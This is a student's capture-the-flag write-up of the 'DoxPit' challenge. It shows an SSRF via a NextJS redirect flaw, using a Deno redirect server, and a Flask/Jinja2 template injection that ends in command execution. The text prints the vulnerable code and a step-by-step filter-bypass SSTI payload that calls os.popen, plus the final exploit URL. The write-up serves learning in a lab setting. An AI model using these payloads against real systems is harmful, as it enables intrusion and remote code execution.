COMP6841 Something Awesome

z5418112 (Sam Zheng)

DoxPit

By: leanthedev

10 hours (that string template injection was a pain)

Hard
JavaScript
Python
SSTI
RCE
SSRF

This challenge was an interesting one to begin with, given that the repo contains two applications. One application is a basic front-end written in JavaScript, while the other is a Python Flask application that isn't actually exposed to the user. Based on the context of the application, I suspect that the currently exposed frontend was hastily put together, and the Flask application was meant to be the main, original application.

The exposed front-end

The exposed front-end

Reconnaissance

Let's take a look at what we have in the codebase. As from previous challenges, I first checked and scoped out where a final goal is - the flag.txt was within the root directory of the codebase, and the Dockerfile didn't hint at any particular renaming or randomness to the file location - other than that the flag is in the root directory.

Next, I decided to take a look at the exposed front-end. The front-end was a simple application that had very little functionality - most of the pages on the navbar redirected you to an error page.

In fact, there was little to no functionality on the front-end, most of the code was just HTML and CSS. The only interesting part was some use of JavaScript, and a reference to a doRedirect function that is referenced to the serverActions.tsx file. Could be worth looking into later.

export async function doRedirect() {
redirect("/error");
}

Moving swiftly on, I decided to take a look at the Flask application. The Flask application was also pretty simple, with some basic authentication, and the main webpage being some sort of virus scanning page, where a user scans a particular directory for viruses.

From here - I notice that there is the code below:

@web.route("/home", methods=["GET", "POST"])
@auth_middleware
def feed():
directory = request.args.get("directory")
if not directory:
dirs = os.listdir(os.getcwd())
return render_template("index.html", title="home", dirs=dirs)
if any(char in directory for char in invalid_chars):
return render_template("error.html", title="error", error="invalid directory"), 400
try:
with open("./application/templates/scan.html", "r") as file:
template_content = file.read()
results = scan_directory(directory)
template_content = template_content.replace("{{ results.date }}", results["date"])
template_content = template_content.replace("{{ results.scanned_directory }}", results["scanned_directory"])
return render_template_string(template_content, results=results)

The code above is the main function that is called when a user scans a directory for viruses. The function takes a directory as an argument (with some filtering), and then scans the directory for viruses. The results of the scan are then displayed on the page, through the render_template_string method. I smell a potential SSTI vulnerability here.

I was also curious what invalid characters were being filtered out:

invalid_chars = ["{{", "}}", ".", "_", "[", "]","', "x"]

Not too sure why these are being filtered out just yet, but to me it does look like some form of SSTI protection.

Planning

From here, I decided to plan out my attack. I knew that I had to first exploit the NextJS vulnerability, as that was seemingly my only entrypoint. I could then potentially spoof the request to redirect to the Flask application, and then exploit the SSTI vulnerability via the innocuous NextJS frontend. We will probably have to figure out a way to circumvent the filtered characters list, however.

Execution

Let's exploit the NextJS vulnerability first. I first decided to see if we could indeed get this to work, so I spun up Burp Suite interceptor to intercept requests. I knew that the redirect was called whenever one of the links within the tables was clicked, so that was what I did.

Intercepting the request

Intercepting the request

As outlined in the research I did earlier, I needed to modify my Host and Origin headers - so I pointed them both to example.com to see if the redirect would work. Pay attention that the Host header needs to be set without the protocol (http/https).

This didn't quite work unfortunately, I was still being redirected to the /error page, as it should've been as normal. I needed to take a deeper look into how this vulnerability worked.

With my newfound knowledge in mind, I spun up a quick server on Deno , which allows me to quickly create a JS server and deploy it with little setup. Using a POC from the CVE, I spun this up on Deno:

Deno.serve((request: Request) => {
console.log(
"Request received: " +
JSON.stringify({
url: request.url,
method: request.method,
headers: Array.from(request.headers.entries()),
})
);
if (request.method === "HEAD") {
return new Response(null, {
headers: {
"Content-Type": "text/x-component",
},
});
}
if (request.method === "GET") {
return new Response(null, {
status: 302,
headers: {
Location: "https://example.com"
},
});
}
});

I then set my Host and Origin headers to point to the Deno server:

Setting the Host and Origin headers

Setting the Host and Origin headers

Success!

Success!

The redirect worked! I was now being redirected to example.com. I was now in a position to access the Python Flask application by moving the redirect to the Flask application on port 3000.

Another advantage of using the Deno server was that I could setup Burp Suite with a repeater of the spoofed request, without me needing to access the application each time and edit the request, since the Deno server would give me a static URL.

Pointing to Flask application

Pointing to Flask application

Alright we have in into the Flask application that was previously inaccessible. We now need to register and login, but from the reconnaissance, this wasn't going to be difficult at all. There is a route that allows us to register, called /register (crazy), and it takes in the username and password via the request arguments.

Replacing the redirected location URL with: http://0.0.0.0:3000/register?username=a&password=a gives us:

Registering a user

Registering a user

We now have a token, and based on the auth middleware as seen before, we know that to actually be able to scan a directory (where we will execute our potential SSTI), we need to provide a token. This should be pretty easy with the following location URL now: http://0.0.0.0:3000/home?token=62f341a9ce71fdfc4e51f3c8a3c2f7c5

We're in!

We're in!

We are now in the main page of the Flask application. We can now scan a directory for viruses, and this is where we should be able to exploit the SSTI vulnerability (finally).

Trying to SSTI

Now we already know that a potential SSTI vulnerability would exist, since we as a user can specify any 'directory' to 'scan'. From the relevant code, there is a scan_directory() function that is being called, which could be some potential input filtering:

def scan_directory(directory):
scan_results = []
for root, dirs, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
try:
file_hash = calculate_sha256(file_path)
if file_hash in BLACKLIST_HASHES:
scan_results.append(f"Malicious file detected: {file} ({file_hash})")
else:
scan_results.append(f"File is safe: {file} ({file_hash})")
except Exception as e:
scan_results.append(f"Error scanning file {file}: {str(e)}")
return {
"date": datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"scanned_directory": directory,
"report": scan_results
}

Yeah... never mind - this is just matching against some known bad hashes of files, and then returning the results. I doubt an SSTI payload would be hashed against here.

Now, I do also know that there are the filtered characters that we need to work around, so let's just see what happens when we try to put those characters in for intel. The payload is {{.

Invalid input characters leads to invalid directory

Invalid input characters leads to invalid directory

As expected, if our SSTI payload contains any of the filtered characters, we can't proceed. We need to find a way to circumvent this.

Since I expect I will need a LOT of testing to get this right, I moved over to the local instance, removing the invalid character check to test my approach.

From the HackTricks SSTI payload and this blog , I learnt that in the case of Flask applications, we can use request.application to access the global context of the application. From there, we can access __globals__, which contains all the global variables and built-in objects and functions available to the application scope. This includes built-ins, like print, but more importantly, it includes __import__.

From this, I can craft a payload that will allow me to import the os module, and then execute whatever command I want using popen. We're using popen here as it allows us to execute a command and return the output without too much additional fluff. We know from the Dockerfile that the flag is in the root directory of the server, so we set up the following URL to deliver the payload, testing locally each time to ensure it is still working as intended (omitting the actual URL since it will be the same):

{{request.application.__globals__['__builtins__'].__import__('os').popen('ls /flag* | xargs cat').read()}}
Successful first payload

Successful first payload

Alright, now we have to get past each of the filters. The first of which is the {{}}. Pretty clearly - this is how most SSTI attacks begin, which is why it is filtered out. To bypass this (from HackTricks), we can use the following template: .{% with a = ... %}{% print(a) %}{% endswith %}

This is typically used to execute logic, as opposed to directly printing values like the double curly braces usually do. We can use this to our advantage, however. Trying it out with our payload, we get the following:

{%with a = request.application.__globals__['__builtins__'].__import__('os').popen('ls /flag* | xargs cat').read()%}{%print(a)%}{%endwith%}

Testing locally, our payload still works just fine without the double curly braces now. Next, we need to deal with the period character. This is a bit more tricky, as the period is used to access object attributes in Jinja2. To bypass this, we could use something along the lines of request["__class__" in place of request.__class__, but looking further along our filtered character list, we know that square brackets are also filtered out.

Instead, we could use Jinja2's attr filter, which allows us to access object attributes in a similar way to the period character. So something like request.application would become request|attr('application'). To kill another bird with the same stone, we know we're not allowed to use the square bracket. To bypass this, we can use the __getitem__ method, which is the same as using square brackets. Let's put it all together

{%with a=(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__'))|attr('__getitem__')('__import__')('os')|attr('popen')('ls /flag* | xargs cat')|attr('read')()%}
{%print(a)%}
{%endwith%}

We're still good! No more periods and square brackets in our payload. Next we have to deal with the underscore - and there a LOT of them. What we will do to bypass this is to pass in any attributes with dunders (double underscores) as the params of the query, and use request.get.param to access them. This will allow us to bypass the underscore filter. Of course, request.args.param will need to be substituted with attr(request|attr('args')|attr('get')('param')) to bypass our current filters.

The alternative method to this, could be to encode the underscores as hex values, and then decode them in the payload. Unfortunately, this wouldn't work either, as we are not allowed backslashes or the 'x' character.

"http://0.0.0.0:3000/home?token=6a7b9f1ebe6d6beff2a07ec53ef1c907&directory={% with a=((((request|attr('application'))|attr(request|attr('args')|attr('get')('p1')))|attr(request|attr('args')|attr('get')('p2')))(request|attr('args')|attr('get')('p3'))|attr(request|attr('args')|attr('get')('p2')))(request|attr('args')|attr('get')('p4'))('os')|attr('popen')('ls /flag* | xargs cat')|attr('read')()%}{%print(a)%}{%endwith%}&p1=__globals__&p2=__getitem__&p3=__builtins__&p4=__import__"

And that is our final payload. We have successfully bypassed the filters - that only took 5 hours for me to figure out. Let's test it out:

Flag acquired!

Flag acquired!

Reflection and Learnings

Last Writeup

No Threshold